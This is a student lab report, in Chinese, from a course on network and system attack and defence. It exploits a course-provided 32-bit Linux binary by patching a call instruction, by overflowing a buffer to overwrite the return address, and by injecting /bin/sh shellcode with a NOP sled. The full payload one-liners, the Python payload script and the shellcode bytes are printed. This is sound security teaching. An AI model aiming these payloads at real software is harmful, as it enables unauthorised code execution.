20242326 2025-2026-1 《网络与系统攻防技术》实验一实验报告

20242326 2025-2026-1 《网络与系统攻防技术》实验一实验报告

学号姓名: 20242326 姚诗语
实验时间: 2026年10月
实验环境: Kali Linux,32位 ELF 可执行文件 pwn1_20242326,GDB 调试器,objdump 反汇编工具,Python3

1. 基础知识

本次实验的对象是 Linux 下的可执行文件 pwn1。正常情况下 main 调用 foo,foo 只会回显用户输入的字符串;程序里还藏着一个 getShell 函数,正常流程永远不会执行它。实验要做的就是通过三种办法,让这个不该运行的代码片段跑起来。

实验用到的基础知识主要有几块:

汇编指令及机器码。 看懂反汇编要先把几条常用跳转指令弄清楚。CMP 本质是减法,但不保存结果,只改标志位;JE 在 ZF 标志位为 1(即相等)时跳转,JNE 相反,ZF 为 0 时跳转;JMP 是无条件跳转;NOP 是空操作,机器码 0x90,CPU 什么都不做、顺序执行下一条,常用来拼"雪橇"。

call 指令的相对寻址。 call 的机器码是 e8 xx xx xx xx,后面跟的是相对偏移,不是绝对地址。目标地址 = call 下一条指令的地址 + 偏移量(补码)。这次实验里看到 e8 c3 ff ff ff,偏移是 0xffffffc3,0x80484ba + 0xffffffc3 = 0x804847d,正好落到 getShell 入口。

缓冲区溢出(BOF)原理。 C 函数在栈上给局部缓冲区分配空间,如果对输入长度不做检查,超出的数据就会一路往高地址覆盖 EBP 和返回地址。函数执行 ret 时,CPU 会把被覆盖的那个"返回地址"弹出当作跳转目标,攻击者填好地址就能劫持控制流。

Shellcode 与 NOP 雪橇。 shellcode 是一段位置无关的机器码,本次用 Linux 32 位的 execve("/bin/sh"),作用是直接起一个 shell。NOP 雪橇就是一大串 0x90,只要程序跳落到雪橇里任意一点,CPU 就顺着 NOP 一路滑到底,最终滑进 shellcode,这样对栈地址的命中要求就没那么苛刻。

2. 实验内容

实验分三个递进的任务:

  1. 手工改机器码:不碰代码,直接用十六进制编辑器改可执行文件里的字节,把 foo 里那条 call 的跳转目标改成 getShell,让程序一执行就跳到 getShell。
  2. BOF 覆盖返回地址:利用 foo 的缓冲区溢出漏洞,构造一段超长输入,把返回地址覆盖成 getShell 的入口地址,触发漏洞拿到 shell。
  3. 注入 shellcode:把现成的 /bin/sh 的 shellcode 注入到栈上,用 NOP 雪橇辅助定位,让它自己在栈上跑起来。

3. 实验过程

3.1 任务一:手工修改可执行文件,直接跳转到 getShell

先用 objdump 反汇编,找到 main 里调用 foo 的地方:

objdump -d pwn1_20242326 | grep -A2 "80484b5"

alt text
能看到 foo 里有一条 e8 c3 ff ff ff call 804847d <getShell>。我验证了一下偏移计算:call 的下一条指令在 0x80484ba,偏移 0xffffffc3,两者相加 0x804847d,正是 getShell 的入口,说明原程序确实想跳到 getShell,只是平时到不了。
alt text
接着用十六进制编辑器打开二进制文件,把这一处的机器码改掉,让程序执行到这里时直接进入 getShell。

修改保存后运行 ./pwn1_20242326,成功弹出 shell,用 ls、whoami 验证 shell 是活的。
alt text

3.2 任务二:利用 foo 的 BOF 漏洞覆盖返回地址

用 GDB 在 foo 函数设置断点,分析栈结构,确定缓冲区长度和返回地址之间的偏移。这一步实测是 44 字节:填 44 个字符之后,紧接着的内容就会覆盖返回地址。
alt text
构造 payload:44 字节填充字符 + getShell 入口地址(小端序):

python3 -c 'import sys; sys.stdout.buffer.write(b"A"*44 + b"\x7d\x84\x04\x08")' | ./pwn1_20242326

把这段 payload 喂进程序,foo 返回执行 ret 时读到了被篡改的返回地址,跳进 getShell,成功拿到 shell,执行基础命令验证通过。

3.3 任务三:注入自制 shellcode 并运行

先用 GDB 加载 pwn1,在 foo 里设断点,用 info r esp 看栈指针,x/20x $esp 看栈内存布局,分析栈空间,确认溢出偏移量。

【截图:GDB 调试 foo 断点,info r esp、x/20x $esp 查看栈内存】

然后关闭 ASLR 地址随机化,确认返回 0 表示关闭成功:
alt text

cat /proc/sys/kernel/randomize_va_space

alt text
payload 的结构是:40 字节 'A' 垃圾填充 + 4 字节栈返回地址 + NOP 雪橇 + /bin/sh 的 32 位 shellcode:

shellcode: \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

写 Python 脚本生成二进制 payload,这里有个坑:直接用 print() 会自带换行,破坏二进制内容,所以用 sys.stdout.buffer.write() 输出原始字节:

import sys
payload = b"A"*40 + b"\xd0\xce\xff\xff" + b"\x90"*30 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
sys.stdout.buffer.write(payload)

用 expect 工具维持交互式会话测试注入,结果出现段错误。原因是:GDB 调试环境会额外加载环境变量,GDB 里看到的栈地址和原生终端运行存在固定偏移,直接照搬 GDB 的地址就会跳错地方;另外用管道 < 重定向输入,程序读完 payload 后标准输入就关闭了,就算溢出成功,shell 也会立刻退出,没法交互。

4. 问题及解决方案

问题1:GDB 里拿到的栈地址,放到外部终端一跑就段错误。
解决方案:GDB 加载额外环境变量,栈布局和直接运行环境不一致,地址存在偏移,需要微调返回地址。这个现象本身说明调试环境和真实环境有差异,我在报告里如实记录了这个现象。

问题2:python 的 print() 输出 payload 时自带换行,破坏二进制。
解决方案:改用 sys.stdout.buffer.write() 直接写原始二进制,不追加换行符。

问题3:payload 注入成功后 shell 一闪而过,输不了命令。
解决方案:管道重定向把标准输入流关了。改用 expect 工具维持交互式会话,让 shell 保持住。

问题4:GDB 命令写错,把 x/20x $esp 和 info r esp 挤在同一行,报 Invalid register。
解决方案:GDB 命令必须分行。先输 info r esp 回车,再输 x/20x $esp。

5. 学习感悟、思考等

这次实验三个任务递进着做,把"看汇编"和"改内存"串起来了。任务一让我第一次明白程序里的跳转不是死板写死的,机器码里那个偏移量一改,整个执行流程就变了,这也让我意识到二进制文件本身并不"可信",能被人随便改。任务二真正动手算偏移、凑 payload、看 ret 那一下跳到哪,缓冲区溢出才从课本上的名词变成能亲手触发的东西。做任务三最,GDB 里的地址拿到外面就失效,其实是没仔细看ai的反馈

做下来最大的体会:写代码时对输入长度的边界检查必须较真,不能指望用户"规规矩矩"输入。

思考题:

什么是缓冲区溢出?产生缓冲区的根本原因是什么?
答:缓冲区溢出是程序往缓冲区写的数据超过了缓冲区预设容量,把相邻的栈内存(EBP、返回地址)一起覆盖了。根本原因是 C 语言里部分库函数(如 gets)不检查输入长度,缺少边界校验,程序又无条件相信输入。

什么是 NOP 雪橇,作用是什么?
答:NOP 雪橇是连续一大片 0x90 空指令。只要程序跳落到雪橇任意位置,CPU 就会不断执行 NOP 一路滑过去,最终执行到后面的 shellcode,降低了对栈地址的精确命中要求,让攻击更稳。

为什么 GDB 调试得到的栈地址,直接在终端运行会失效?
答:GDB 启动程序时会附加额外的环境变量,栈的起始位置发生了偏移,所以 GDB 里看到的地址和直接终端运行不一致,直接照搬就跳错了。

参考资料

posted @ 2026-10-12 11:46  恩呢呗  阅读(2)  评论(0)    收藏  举报